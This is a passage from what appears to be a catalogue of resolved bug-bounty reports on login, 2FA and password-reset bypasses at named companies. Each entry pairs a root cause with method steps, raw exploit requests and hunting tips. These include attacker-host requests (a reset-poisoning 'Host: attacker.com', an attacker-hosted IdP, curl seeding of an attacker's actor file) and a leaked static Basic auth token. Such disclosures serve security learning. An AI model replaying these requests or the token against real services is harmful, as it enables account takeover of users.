Insight β Diff the vendor's own SDK/docs for which calls are 'private' (postPrivate/signed) and replay each with no auth. Auth middleware is often applied per-route and one route gets missed.
Real-world example
MFA bypass via mode downgrade + secureLogin flag flip
β Medium
Specimen #665722 Β· superhuman Β· USD 2500 Β· 82 votes Β· resolved
Program superhumanSurface apiTag account-takeover
Root cause
The login request carries client-controlled MFA parameters; switching mode from sms to email and secureLogin from true to false makes the server complete login without validating the phone code (valid within a device-trust window).
Method
- Configure MFA, login with email+password
- Enter any random MFA code, click sign in and intercept POST /v3/api/login
- Change mode:sms -> mode:email and secureLogin:true -> secureLogin:false
- Forward; session granted without the real code (needs victim's tdi device cookie + UA within trust window)
POST /v3/api/login
{... "mode":"email", "secureLogin":false ...}
Insight β MFA method and enforcement flags sent by the client are attacker-controlled. Try downgrading the MFA mode and flipping any secureLogin/required/verified booleans in the login body.
Real-world example
2FA credential reset without current OTP via GraphQL mutation
β Medium
Specimen #1139535 Β· security Β· none Β· 55 votes Β· resolved
Program securitySurface graphqlChain session/password compromise -> 2FA credential overwrite -Tag graphqlTag account-takeover
Root cause
The mutation that updates 2FA credentials (totp_secret + backup_codes) validated password but did not require proof of the currently-enrolled OTP, so an authenticated attacker (or one with a hijacked session) can overwrite the victim's TOTP secret and backup codes, silently taking over the second factor.
Method
- Enroll a new attacker TOTP secret in an authenticator app.
- As the target session, call the updateTwoFactorAuthenticationCredentials mutation supplying the attacker's totp_secret, matching otp_code, and a fresh backup_codes array.
- The server rotates the 2FA secret without verifying the previously-configured OTP.
- Sign out/in: only the attacker-controlled 2FA now works.
POST /graphql HTTP/1.1
Host: hackerone.com
content-type: application/json
X-Auth-Token: <token>
{"operationName":"UpdateTwoFactorAuthenticationCredentials","variables":{"password":"<pw>","otp_code":"<otp-for-attacker-secret>","signature":"...","backup_codes":["..."],"totp_secret":"<ATTACKER_SECRET>","backup_code":"..."},"query":"mutation UpdateTwoFactorAuthenticationCredentials($password: String!, $otp_code: String!, $backup_code: String!, $totp_secret: String!, $backup_codes: [String]!, $signature: String!) { updateTwoFactorAuthenticationCredentials(input: {password: $password, otp_code: $otp_code, backup_code: $backup_code, totp_secret: $totp_secret, backup_codes: $backup_codes, signature: $signature}) { was_successful } }"}
Insight β Any state-change to an existing security factor (2FA secret, backup codes, recovery phone/email) must re-verify the CURRENT factor, not just the password. Test reconfiguration mutations by supplying a fresh/attacker secret and checking whether the old OTP is ever validated. A 'signature'-style HMAC that only binds the new values, not the old factor, is not a substitute.
Real-world example
CAPTCHA / login throttle bypass by rotating X-Forwarded-For
β Medium
Specimen #210417 Β· rockstargames Β· awarded Β· 50 votes Β· resolved
Program rockstargamesSurface webTag account-takeover
Root cause
CAPTCHA/rate-limit keyed off client IP derived from a user-controlled X-Forwarded-For header. Sending a fresh random XFF per request makes the server treat each login attempt as a brand-new client, so the failed-attempt CAPTCHA trigger never fires.
Method
- Trigger enough failed logins to normally force a CAPTCHA.
- Add/rotate X-Forwarded-For (e.g. random IP) on each sign-in POST.
- Observe CAPTCHA is not enforced; brute force login unthrottled.
POST /sign_in HTTP/1.1
Host: TARGET
X-Forwarded-For: 1.2.3.RANDOM
Content-Type: application/x-www-form-urlencoded
username=victim&password=GUESS
Insight β Whenever throttling/lockout/CAPTCHA is per-IP, test IP-spoofing headers (X-Forwarded-For, X-Real-IP, X-Client-IP, Forwarded, True-Client-IP). If the app trusts the header for rate-limit keying, rotation resets the counter.
Real-world example
Email-verification gate bypass via client-side response manipulation
β Medium
Specimen #2312320 Β· enjin Β· USD 150 Β· 46 votes Β· resolved
Program enjinSurface webTag account-takeover
Root cause
Email-verification enforcement was decided client-side (or trusted a server response the client could alter), so intercepting and manipulating the verification/login response let a newly-registered user authenticate without ever verifying their email.
Method
- Register (optionally using a victim's email) and reach the 'verify email' gate.
- Intercept the response to the verification/login request and flip the blocking flag (e.g. verified:false -> true, or 4xx -> 200).
- Session is initiated without email verification.
# Intercept server response in proxy and edit, e.g.:
{"email_verified": false} -> {"email_verified": true}
# or change HTTP/1.1 403 Forbidden -> HTTP/1.1 200 OK
Insight β Whenever a gate (email verified, MFA passed, KYC done) is reflected in a response the client reads to decide flow, test response manipulation. If the client trusts that value, flipping it bypasses the gate; the real fix is server-side enforcement.
Real-world example
2FA/OTP brute force via no rate limit + no code expiry on 4-digit SMS code
β Medium
Specimen #202425 Β· grab Β· awarded Β· 45 votes Β· resolved
Program grabSurface mobile-androidChain OTP brute -> change victim email/phone -> account takeTag account-takeover
Root cause
The profile-activation (2FA) endpoint validates a 4-digit SMS code with neither rate limiting nor code invalidation after N failures. The 10000-value space (0000-9999) is exhaustively brute-forced with a valid session cookie, confirming via 204 vs 400 responses.
Method
- Authenticate to get a session (x-mts-ssid) and trigger the SMS code by editing profile.
- Send PUT /api/passenger/v2/profiles/edit with profileActivationCode iterating 0000-9999.
- Distinguish success (204 No Content) from failure (400 {"code":4000}); the matching code confirms the change -> ATO (email/phone change).
PUT /api/passenger/v2/profiles/edit HTTP/1.1
Host: p.grabtaxi.com
x-mts-ssid: <session id>
Content-Type: application/x-www-form-urlencoded
profileActivationCode=3122
Insight β Short numeric OTP/2FA codes with no throttle and no expiry-after-N-fails are exhaustively brute-forceable. Always test the verify-code endpoint separately from the login flow; the login may be protected while the profile/change endpoint is not.
Real-world example
Request-signature scope gap: signature covers header/body but not URL path or method
β Medium
Specimen #348090 Β· hyperledger Β· USD 500 Β· 42 votes Β· resolved
Program hyperledgerSurface apiTag account-takeover
Root cause
Fabric-CA signs the Authorization header and HTTP body but the delete handlers read the identity/affiliation name from the URL path and the operation from the HTTP method, neither of which is covered by the signature. A captured signed request can be replayed with method/path swapped to perform unauthorized deletes.
Method
- Capture any legitimately signed request (e.g. GET/list or add identity).
- Change the HTTP method to DELETE and edit the identity/affiliation name in the URL path.
- Server authorizes on the still-valid signed header/body but acts on the tampered path/method -> deletes arbitrary identity/affiliation.
DELETE /identities/admin2 HTTP/1.1
DELETE /affiliations/org1.dep2?force=true HTTP/1.1
# (Authorization header + body reused verbatim from a captured signed request)
Insight β When a system uses request signing/HMAC, enumerate exactly what the signature covers. If method, URL path, or query params are outside the signed canonical form, they are tamperable -> test method override and path/param swaps on captured signed requests.
Real-world example
Post-hijack full ATO: no rate limit on old-password field in change-password flow
β Medium
Specimen #982293 Β· x Β· none Β· 39 votes Β· resolved
Program xSurface webChain session hijack (XSS/cookie theft) -> brute old-password fTag account-takeover
Root cause
The change-password screen prompts for the current/old password as an anti-hijack measure, but that field has no rate limiting, so an attacker with a hijacked session brute-forces the old password and then sets a new one, converting a session compromise into full account takeover.
Method
- With a hijacked session, go to Change Password and submit a random old password + new password.
- Intercept, send to Intruder, mark the old-password field, load a password list.
- No rate limit -> brute force finds the real old password and the change succeeds -> full ATO.
POST /settings/password (change password) HTTP/1.1
Host: TARGET
Cookie: <hijacked session>
current_password=Β§GUESSΒ§&new_password=Attacker123!
Insight β The 'confirm current password' control that protects sensitive changes is only effective if rate-limited. On any sensitive-action re-auth field (change password/email, disable 2FA), test for missing throttling.
Real-world example
Login throttle only checked on invalid password
β Medium
Specimen #708013 Β· shopify Β· awarded Β· 37 votes Β· resolved
Program shopifySurface graphqlTag graphqlTag account-takeover
Root cause
The rate-limit counter for the customerAccessTokenCreate mutation was only incremented and evaluated when the submitted password was invalid, so a correct password was never throttled.
Method
- Send repeated customerAccessTokenCreate mutations with wrong passwords until 'Login attempt limit exceeded' appears
- Keep sending guesses anyway
- When the correct password is submitted the login succeeds despite the lockout message
mutation{customerAccessTokenCreate(input:{email:"TARGET",password:"GUESS"}){customerAccessToken{accessToken}}}
Insight β Whenever a lockout message appears, keep firing: many throttles only count/check failures, so a valid credential slips through. Test valid vs invalid password behaviour separately.
Real-world example
2FA/OTP brute force on password-reset flow
β Medium
Specimen #121696 Β· slack Β· awarded Β· 36 votes Β· resolved
Program slackSurface webChain Email compromise + 2FA brute force -> full account takeovTag account-takeover
Root cause
The 2FA code entered on the password-reset page had no attempt limit, so the OTP could be brute forced to complete reset on a 2FA-protected account.
Method
- Trigger a password reset and open the reset link
- Set a new password; reach the 2FA verification step
- Submit many wrong 2FA codes - no lockout is enforced
- Guess the correct code and finish reset
POST /2fa/verify
code=000000..999999 # no rate limit / lockout on the reset-flow 2FA field
Insight β 2FA rate limiting is often enforced only on the login form, not on password-reset or step-up flows. Always re-test OTP throttling on every path that consumes it.
Real-world example
Account-closure bypass via un-expired reset token
β Medium
Specimen #167489 Β· yelp Β· awarded Β· 34 votes Β· resolved
Program yelpSurface webTag account-takeover
Root cause
Password-reset tokens issued before an account was closed were not invalidated on closure, so completing the reset re-activated access to the closed account.
Method
- Request a password-reset token but do not use it
- Get the account closed/banned
- Complete the reset using the still-valid token
- Regain a logged-in session on the closed account
# hold an unused /reset?token=... link, then after account closure open it to set a new password and log in
Insight β State transitions (close, ban, deactivate, email change) must revoke all outstanding reset/invite/session tokens. Pre-fetch a token, trigger the state change, then replay.
Real-world example
OpenID 2.0 auth bypass via attacker-controlled IdP
β Medium
Specimen #2401359 Β· ibb Β· awarded Β· 33 votes Β· resolved
Program ibbSurface webTag oauthTag account-takeover
Root cause
With AUTH_TYPE=AUTH_OID (Flask-AppBuilder legacy OpenID 2.0), the backend used the client-supplied openid provider URL without checking it against the configured allowed-IdP list, so an attacker's own IdP could assert any existing account's identity.
Method
- Locate an Airflow/FAB login using legacy OpenID 2.0
- Intercept the POST /login/ request and set the openid param to your own IdP URL
- Complete auth against your IdP asserting the victim's identity
- Get redirected back logged in as the victim
POST /login/
openid=https://attacker-idp.example/ # not validated against allowed IdP list
Insight β Federated login that lets the client pick the IdP endpoint must enforce a server-side allowlist. Test the discovery/provider URL parameter for injection of an attacker-hosted IdP.
Real-world example
TLS client-auth bypass via cross-vhost ticket resumption
β Medium
Specimen #2978267 Β· ibb Β· USD 2162 Β· 31 votes Β· resolved
Program ibbSurface networkChain Access to weaker site A -> resume ticket -> privilege Tag account-takeover
Root cause
nginx (http and stream, TLS1.3/OpenSSL) did not isolate TLS session tickets per virtual host, so a ticket issued during a session on vhost A could be resumed on vhost B, carrying A's authenticated client state and skipping B's client-certificate check.
Method
- Authenticate with a client cert to site A (which you may access) and receive a session ticket
- Open a new connection resuming that ticket, with SNI set to the resumption host or omitted
- Send a Host header for site B (which requires a different/stronger client cert)
- Server resumes the session and serves B without enforcing B's client auth
# TLS1.3 session resumption: ticket from vhost A, SNI omitted/changed, Host: B
# server accepts resumed session and skips client-cert auth on B (CVE-2025-23419)
Insight β When name-based vhosts share IP:port with mTLS, test whether a ticket/session from one vhost resumes on another. Diverging SNI vs Host with a resumed ticket is the probe.
Real-world example
Email/user enumeration via unthrottled forgot-password
β Medium
Specimen #441161 Β· smule Β· none Β· 31 votes Β· resolved
Program smuleSurface webTag account-takeover
Root cause
The forgot-password endpoint had no rate limit and returned a measurably different response (length/content) for registered vs unregistered emails, enabling mass enumeration of account emails.
Method
- Capture the forgot-password request
- Send it in Burp Intruder over an email/username wordlist
- Diff response length/body between valid and invalid inputs to enumerate accounts
POST /forgot_password email=FUZZ # compare Content-Length of valid vs invalid responses
Insight β Any auth-adjacent endpoint (login, signup, forgot-password) that answers differently for existing accounts is an enumeration oracle. Always diff response length, timing, and status.
Real-world example
Brute-force protection bypass via X-Forwarded-For
β Medium
Specimen #2230915 Β· nextcloud Β· awarded Β· 31 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
IP-based throttling used getRemoteAddress(), which trusts the X-Forwarded-For header when a trusted_proxy is configured; rotating a valid IP in XFF gives each attempt a fresh throttle key.
Method
- Confirm login attempts trigger an increasing sleepDelay (throttle)
- Add X-Forwarded-For with a valid-format IP (rotate per request)
- Throttle delay disappears; brute force freely
POST /login
X-Forwarded-For: 1.2.3.4 # rotate IP each attempt to reset the per-IP throttle
Insight β When an app trusts XFF for the client IP, any IP-keyed rate limit is defeated by spoofing/rotating the header. Test XFF, X-Real-IP, X-Client-IP against login and OTP throttles.
Real-world example
Bind external login (OAuth) to an unverified/unowned email account
β Medium
Specimen #1018489 Β· shopify Β· 1600 Β· 29 votes Β· resolved
Program shopifySurface webTag oauthTag account-takeover
Root cause
The 'connect external login service' action enforced its email-verified precondition only in the UI; the backend POST endpoint accepted the connection for an unverified account, letting an attacker create a backdoor OAuth login for an email they registered but never verified.
Method
- Register an account with a victim email you don't own (email-verification pending)
- On your profile page, inject the connect-login link the UI would normally hide
- Trigger the POST to /accounts/{account_id}/external-login/1 and complete Google OAuth
- The external login binds despite the unverified email; log in later via 'Log in with Google'
<a href="/accounts/{victim_account_id}/external-login/1" data-method="post">Connect to Google</a>
Insight β When a UI hides an action behind 'verify your email first', test the underlying state-changing endpoint directly - the precondition is often only client-side. Unverified-email + OAuth-binding = persistent backdoor login.
Real-world example
Static Basic-auth token embedded in mobile app reused for full API access
β Medium
Specimen #232650 Β· starbucks Β· none Β· 28 votes Β· resolved
Program starbucksSurface mobile-androidChain pinning gap -> static token disclosure -> full authentTag account-takeover
Root cause
The Android app shipped a hardcoded HTTP Basic Authorization header shared across users; SSL pinning failed to cover one path, exposing the token, which then authorized the entire backend API (including Swagger docs) from any client.
Method
- Proxy the app; note pinning blocks most traffic but one path (/MobileInbox/) is un-pinned and leaks the request
- Extract the static 'Authorization: Basic ...' header from that request
- Replay the header directly in a browser/Repeater against the API host; enumerate /swagger/docs and call all documented endpoints
Authorization: Basic QVBSTlhXTFpUUTo4NGY0NDlmMWYzOWEyMDUz
# reuse this static header against https://crmproxy.<target>/api/v1/... and /swagger/docs/v1/
Insight β Mobile apps often embed one shared Basic/API token for all users; if any endpoint escapes cert pinning you can lift it and drive the whole REST API from a browser. Always look for Swagger/OpenAPI docs once you hold a valid token.
Real-world example
Bypass bruteforce protection by moving the password to a GET query param
β Medium
Specimen #2094473 Β· nextcloud Β· none Β· 27 votes Β· resolved
Program nextcloudSurface web
Root cause
Bruteforce/throttle protection was wired only to the POST authentication endpoint. Supplying the same password as a GET query parameter on the frontpage still authenticated (success suppressed the login page) but failures were never recorded, defeating the throttle.
Method
- Identify the protected auth POST endpoint and confirm it throttles
- Send the password instead as a GET parameter on the frontpage URL
- Observe: wrong password does not increment bruteforce counter; correct password no longer shows the login page - a free oracle to brute the password
GET /call/{token}?password=<GUESS> HTTP/1.1 # instead of POST to the auth endpoint
Insight β Rate-limit/bruteforce protection is often bound to one specific method+endpoint. Hunt for alternate ways to submit the same credential (GET vs POST, a different route, mobile API) that reach the check but skip the counter.
Real-world example
Bruteforce the password-confirmation (sudo-mode) modal to recover the current password
β Medium
Specimen #1842114 Β· nextcloud Β· awarded Β· 24 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
Sensitive actions (generate backup codes, delete account, update profile) prompt for the current password, but those confirmation endpoints had no rate limiting, so the current password can be brute-forced offline-style against a live session.
Method
- In Settings > Security, trigger a password-confirmation action (e.g. Generate backup codes)
- Capture the confirm request and send to Intruder on the password field
- 200 OK = correct password, 403 = wrong; recover the plaintext current password
# password-confirmation endpoint, brute the 'password' param
# 200 OK => correct, 403 Forbidden => incorrect
Insight β Re-authentication ('confirm your password') modals are auth endpoints too and are often forgotten by rate-limit rules. With a hijacked session, brute the confirm-password field to reveal the current password (CVE-2023-25820).
Real-world example
Client-side password gate bypassed by setting a localStorage flag
β Medium
Specimen #1877989 Β· deptofdefense Β· none Β· 24 votes Β· resolved
Program deptofdefenseSurface web
Root cause
The password/passphrase check was performed entirely in client-side JavaScript, which on success set a localStorage boolean; setting that key manually unlocks the protected data without knowing the password.
Method
- Load the password-protected page; read the JS to find the localStorage key set on success
- In devtools, set that key to true (localStorage.setItem('<flag>','true'))
- Reload - the protected content (PII) renders without the correct password
localStorage.setItem('<AUTH_FLAG>', 'true'); location.reload();
Insight β If a page 'unlocks' content after a password without a server round-trip, the gate is client-side. Grep the JS for the success branch and the localStorage/sessionStorage/cookie flag it sets, then set it directly. Content already present in the DOM/JS is fully exposed.
Real-world example
Password reset via whitespace/empty reset token
β Medium
Specimen #968742 Β· line Β· awarded Β· 23 votes Β· resolved
Program lineSurface webTag account-takeover
Root cause
The password-reset verification compared a user-supplied key against a stored value in a way that a space (or empty) key satisfied the check for accounts with an unset/empty temporary key, allowing reset of arbitrary accounts.
Method
- Initiate a password reset for the victim
- At the token-verification step submit a single space (or empty) as the temporary reset key
- If the stored key for the target is empty/unset it matches and the reset proceeds
# temporary password reset key = " " (single space) matches empty stored key
Insight β Test reset/verification tokens with empty string, single space, null, and '0'/false - loose comparisons or unset stored values let a blank/whitespace token authenticate.
Real-world example
libcurl connection-pool Negotiate/Kerberos identity hijack
β Medium
Specimen #3642555 Β· curl Β· none Β· 22 votes Β· resolved
Program curlSurface otherChain pooled Negotiate conn -> cross-user auth -> victim impTag jwt
Root cause
In url_match_auth_ntlm() a credential MISmatch on a pooled connection still sets m->found (tentative match) and returns FALSE, which short-circuits url_match_conn() before url_match_auth_nego() can reject it; url_match_result() then attaches based only on m->found, ignoring the FALSE result. User B reuses User A's Negotiate-authenticated socket (CVE-2026-5545).
Method
- User A performs Negotiate/SPNEGO auth; connection returns to the shared multi-handle pool
- User B issues a request to same host with CURLAUTH_ANY (NTLM+Negotiate) and different creds
- NTLM tentative-match sets found, Negotiate cred check is skipped, connection is attached
- Against a server with persistent Negotiate auth (IIS+Kerberos default), User B's requests execute as User A
/* User B */
curl_easy_setopt(easy_b, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY);
curl_easy_setopt(easy_b, CURLOPT_USERPWD, "userB:passwordB");
curl_easy_setopt(easy_b, CURLOPT_URL, "http://host/api/secret");
// reuses userA's pooled Negotiate connection -> server sees identity=userA
Insight β In shared HTTP client connection pools, connection reuse must re-verify the full auth identity, not just host:port. Multi-tenant backends wrapping libcurl (pycurl, PHP curl_multi) can cross-authenticate users. Audit auth-state checks on connection reuse paths.
Real-world example
OTP returned in the send-OTP API response
β Medium
Specimen #777957 Β· mtn_group Β· none Β· 19 votes Β· resolved
Program mtn_groupSurface webTag account-takeover
Root cause
The endpoint that dispatches the OTP to the subscriber also returns the OTP (otpKey) in its HTTP response, so an attacker reads the code and passes the verification without receiving the SMS.
Method
- Enter a target subscriber's number and open the network inspector
- Trigger the send-OTP request
- Read the otpKey field from the response body
- Enter it in the OTP prompt -> verification bypassed, manage victim's subscriptions
POST /send-otp -> response: { ..., "otpKey": "123456" }
// submit otpKey into the verify prompt
Insight β Always inspect the response of any 'send code/OTP/verification' call - servers frequently echo the secret for client-side comparison. If the code appears anywhere in the response (or a predictable header), authentication/2FA is fully bypassable.
Real-world example
Signup endpoint as user-enumeration oracle + no rate limit
β Medium
Specimen #905692 Β· trycourier Β· none Β· 19 votes Β· resolved
Program trycourierSurface api
Root cause
The (Cognito-backed) register endpoint distinguishes existing vs new emails (UserConfirmed/UserSub for new, UsernameExistsException for existing) and applies no rate limiting, enabling mass user enumeration and junk-account creation.
Method
- POST an email to /register/email
- New email -> {"UserConfirmed":..,"UserSub":..}; existing -> UsernameExistsException
- Iterate an email list to enumerate registered users, unthrottled
- Also mass-creates accounts to flood the DB
POST /register/email HTTP/1.1
Host: www.trycourier.app
Content-Type: application/json
{"email":"target@example.com"}
# existing -> {"__type":"UsernameExistsException"}
Insight β Differential responses on signup/login/reset are user-enumeration oracles; combined with no rate limit they scale. AWS Cognito default flows leak UserConfirmed/existence β check them explicitly.
Real-world example
2FA bypass by flipping OTP-verify response status
β Medium
Specimen #2962527 Β· deptofdefense Β· none Β· 19 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Authentication state is decided client-side from the OTP-verify response; editing the response body (status 3 'wrong' -> 1 'correct') grants a session without a valid code.
Method
- Login with valid credentials; get prompted for 6-digit email OTP
- Submit a wrong OTP and intercept the response
- Change status:3 to status:1 in the response body
- Forward; you are logged in
// intercepted response
{"status":3} -> {"status":1}
Insight β Whenever a verify step returns a boolean/status the client trusts, try inverting it in the response; server must re-derive auth state, never trust returned status.
Real-world example
Host header injection -> password-reset poisoning
β Medium
Specimen #1679969 Β· deptofdefense Β· none Β· 19 votes Β· resolved
Program deptofdefenseSurface webChain host header injection -> reset link poisoning -> accouTag account-takeover
Root cause
The ForgotPassword endpoint reflects/uses the attacker-controlled Host header when building the reset link, so a spoofed Host poisons the reset email to point at an attacker domain.
Method
- Trigger the password reset POST for a victim email
- In Repeater change the Host header to attacker.com
- Reset link in the delivered email now points to attacker-controlled host, leaking the token on click
POST /.../Account/ForgotPassword HTTP/1.1
Host: attacker.com
...
{"Email":"victim@example.com"}
Insight β On any reset/verification/link-generating flow, tamper the Host (and X-Forwarded-Host) header - if the outbound link inherits it, you get token-leaking reset poisoning, cache poisoning, or routing-based SSRF.
Real-world example
Alternate host shares backend but lacks bot/rate protection
β Medium
Specimen #1024880 Β· basecamp Β· awarded Β· 15 votes Β· resolved
Program basecampSurface webTag account-takeover
Root cause
A legacy/alternate subdomain proxies to the same authentication backend as the canonical login host but does not enforce the anti-automation (bot detection, cookie/session flagging, credential-stuffing checks) that the canonical host does.
Method
- Identify an alternate hostname reaching the same login backend (help-basecamphq.* vs launchpad.*)
- Submit the same login POST to both hosts and diff the handling
- Observe canonical host flags request as robotic / requires authenticity_token, while alternate accepts it (even without authenticity_token)
- Use the weaker host to run credential stuffing without the protections
POST /session HTTP/1.1
Host: help-basecamphq.37signals.com
Content-Type: application/x-www-form-urlencoded
utf8=%E2%9C%93&authenticity_token=&product=bcx&account_id=<ID>&username=<USER>&password=<PASS>&commit=Log+in
Insight β Enumerate every hostname/vhost/legacy domain that hits the same auth backend and diff their protections. The weakest front door (missing WAF, missing CSRF token enforcement, missing rate limit) defines the attack surface.
Real-world example
OAUTH2 bearer connection-pool reuse bypass (curl)
β Medium
Specimen #1552110 Β· ibb Β· awarded Β· 15 votes Β· resolved
Program ibbSurface otherTag oauth
Root cause
libcurl keeps a pool of authenticated connections and reuses a live SASL/OAUTH2 connection for a new transfer without verifying the new transfer's bearer matches the one that authenticated the connection, yielding an auth bypass on SMTP(S)/IMAP(S)/POP3(S)/LDAP(S).
Method
- Open a connection authenticated with a valid OAUTH2 bearer to a SASL protocol
- Issue a second transfer to the same host reusing the pooled connection with a different/invalid bearer
- Second transfer succeeds on the still-open, previously-authenticated connection
curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer \
--next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything
Insight β Connection/session pooling must key on the FULL credential set. When auditing connection-reuse code, verify that changing the bearer/token/password forces re-authentication rather than silently reusing a pooled connection (CVE-2022-22576, CWE-305).
Real-world example
Password reset token brute force -> ATO
β Medium
Specimen #271533 Β· instacart Β· 50 Β· 14 votes Β· resolved
Program instacartSurface webChain Token brute force -> password reset -> account takeoveTag account-takeover
Root cause
The password-change endpoint accepts a reset_password_token with no rate limit and returns a distinct error for invalid tokens, so a short/low-entropy token can be brute forced to reset an arbitrary account's password.
Method
- Trigger a reset for the victim to create a valid token server-side
- POST new-password requests varying reset_password_token
- Wrong token -> 'Reset password token is invalid'; correct token -> password changed
- Brute force the token space (aggravated by short 20-char tokens and no email binding)
POST /password HTTP/1.1
Host: shoppers.instacart.com
Content-Type: application/x-www-form-urlencoded
utf8=%E2%9C%93&_method=put&authenticity_token=<CSRF>&driver%5Breset_password_token%5D=Β§TOKENΒ§&driver%5Bpassword%5D=Newpass1&driver%5Bpassword_confirmation%5D=Newpass1&commit=Change+my+password
Insight β Reset flows fail when token entropy is low AND there is no rate limit AND the response distinguishes valid/invalid tokens. Attack the confirm/change endpoint (not the request endpoint). Same class also brute-forced reset codes to full ATO (#1059758).
Real-world example
ActivityPub HTTP-Signature keyId origin confusion -> user impersonation
β Medium
Specimen #461308 Β· nextcloud Β· awarded Β· 12 votes Β· resolved
Program nextcloudSurface webChain unvalidated keyId fetch (actor cache poisoning) -> signatTag account-takeover
Root cause
The shared-inbox signature check fetches the remote Actor named by the keyId URL but never verifies that the fetched actor's 'id' field shares the keyId's origin; an attacker hosts an actor JSON whose id claims a victim origin and whose publicKey is attacker-controlled, so any signature 'from that origin' then verifies.
Method
- Generate an RSA keypair and a signature over '(request-target): post /apps/social/inbox'.
- Host actor JSON at attacker URL with id set to https://VICTIM/.../@mallory and publicKey = your pubkey.
- Send a request with Signature keyId=attacker-url so the server caches your actor under the victim origin (oc_social_cache_actors), making your key authoritative for that origin.
- POST a Create-Note to the shared inbox signed with your key, impersonating any user of that origin.
# 1) seed attacker actor into cache (verification fails but actor is stored):
curl -H 'Signature: keyId="https://ATTACKER/mallory.json",headers="(request-target)",signature="x"' \
-X POST -d '' -k https://VICTIM/index.php/apps/social/inbox
# 2) post impersonating victim user, signed with attacker key:
curl -H 'Signature: keyId="https://VICTIM/apps/social/@mallory",headers="(request-target)",signature="<sig>"' \
-X POST -d '{"type":"Create","actor":"https://VICTIM/apps/social/@testuser2",...}' https://VICTIM/apps/social/inbox
Insight β In federated/HTTP-Signature systems, always check that a fetched key's owner/id is same-origin with the keyId you dereferenced and that the actor whose content you accept matches the key's owner. Missing origin binding lets an attacker inject their own pubkey as authoritative for someone else.
Real-world example
Email 2FA OTP brute force (weak rate limit) β MFA bypass
β Medium
Specimen #979820 Β· bitwarden Β· none Β· 11 votes Β· resolved
Program bitwardenSurface webChain Known credentials -> OTP brute force -> full account tTag account-takeover
Root cause
The email-based 2FA verification endpoint did not sufficiently rate-limit code submissions. With known email+password, an attacker brute-forces the numeric OTP; response codes cleanly separate valid from invalid.
Method
- Enable email 2FA on a test account
- Log in with password; at the OTP step submit a random code
- Intercept and send to Intruder, fuzz the code position
- Valid code -> HTTP 200, invalid -> HTTP 400
# response oracle
Invalid code -> 400
Valid code -> 200
Insight β Second factors are only as strong as their attempt limiting. For any OTP/2FA step, submit dozens of codes and confirm there is a hard lock (not just an occasional captcha) and that codes are long-lived enough to enumerate. Distinguish success by status code / body / response length. Assumes attacker already has credentials β so 2FA brute force is a full ATO.
Real-world example
Non-expiring confirmation token + used-token replay bypasses lockout and 2FA
β Medium
Specimen #264090 Β· gsa_bbp Β· none Β· 10 votes Β· resolved
Program gsa_bbpSurface webTag account-takeover
Root cause
login.gov signup confirmation tokens do not expire and previously-used CSRF/authenticity tokens remain valid, so the password-change flow can be driven even during a 10-minute account lockout, defeating the lockout and its 2FA protection.
Method
- Obtain the signup confirmation_token (it never expires) and use /sign_up/enter_password?confirmation_token=... to set a new password
- Alternatively replay a previously-used authenticity_token in POST /manage/password to change the password
- Both paths complete while the account is supposedly locked, bypassing 2FA
GET https://idp.staging.login.gov/sign_up/enter_password?confirmation_token=<TOKEN>
POST /manage/password (replaying an already-used authenticity_token)
_method=patch&authenticity_token=<USED_TOKEN>&update_user_password_form[password]=NewPass1+&commit=Update
Insight β Test lifecycle of every emailed/confirmation/CSRF token: does it expire, is it single-use, is it invalidated after use? Non-expiring or replayable tokens on the password path routinely bypass lockout and MFA.
Real-world example
nginx-ingress auth-file overwrite via namespace/ingress name collision (CVE-2020-8553)
β Medium
Specimen #778803 Β· kubernetes Β· awarded Β· 8 votes Β· resolved
Program kubernetesSurface cloudChain namespace/ingress naming control -> overwrite htpasswd -&Tag cloud-aws
Root cause
ingress-nginx writes basic-auth htpasswd to a flat filename '{namespace}-{ingress}.passwd'; the namespace+ingress pair is not uniquely delimited, so a tenant who can name their own namespace/ingress can produce the same filename and overwrite another tenant's auth file.
Method
- Target ingress lives in namespace a, ingress b-c (file a-b-c.passwd) protected by nginx.ingress.kubernetes.io/auth-* annotations
- As attacker, create namespace a-b and ingress c with your own auth annotation β also serializes to a-b-c.passwd
- Your htpasswd overwrites the victim's; auth to a/b-c is now governed by your file, neutralizing their basic auth
# victim: namespace=a ingress=b-c -> a-b-c.passwd
# attacker: namespace=a-b ingress=c -> a-b-c.passwd (collision)
# nginx.ingress.kubernetes.io/auth-type: basic + attacker-controlled auth-secret
Insight β When multi-tenant systems build filesystem/DB keys by string-concatenating tenant-controlled identifiers without an unambiguous separator, a subset/superset name lets one tenant collide onto another's object. Audit any '{a}-{b}' key derived from user-namable values.
Real-world example
Kubernetes Dashboard login bypass to system:anonymous
β Medium
Specimen #1350755 Β· kubernetes Β· none Β· 7 votes Β· resolved
Program kubernetesSurface cloudChain failed token login -> anonymous session -> Dashboard GTag cloud-aws
Root cause
The Dashboard (v2.3.1) mishandled a failed token login: submitting the 401 error text back into the token field let the flow proceed as the unauthenticated system:anonymous user with GUI access.
Method
- Open the Kubernetes Dashboard login and choose token auth
- Enter gibberish to force a 401 error
- Copy the entire 401 error response and paste it into the token field
- Submit β you land in the GUI as system:anonymous
1. token field = garbage -> capture 401 error body
2. paste the full 401 error text into the token field
3. submit
Insight β For admin dashboards, always probe the unauthenticated/anonymous path: what does system:anonymous (or an equivalent default identity) see, and can a malformed/failed auth attempt drop you into a session? Ensure anonymous-auth is disabled and failed logins never yield a session.
Real-world example
Password step of 2FA enrollment bypassed via cross-account token reuse
β Medium
Specimen #124845 Β· shopify Β· 500 Β· 6 votes Β· resolved
Program shopifySurface webTag account-takeover
Root cause
The authenticity/CSRF token minted after the account-owner's password confirmation was not bound to the account or session, so it could be replayed against another account's 2FA-enroll endpoint, skipping that account's password check.
Method
- In account A, start Enable 2FA, enter password, capture the send_sms request and its authenticity_token
- In account B (separate session) craft the send_sms/confirm request: swap host, cookies, user_id and X-CSRF-Token to B but KEEP account A's authenticity_token in the body
- Submit; OTP is sent and the phone binds to account B without B's password ever being confirmed
POST /admin/users/{B_user_id}/2fa/send_sms
...
utf8=%E2%9C%93&authenticity_token={TOKEN_MINTED_AFTER_A_PASSWORD}&dial_code=91&phone=ATTACKER_PHONE
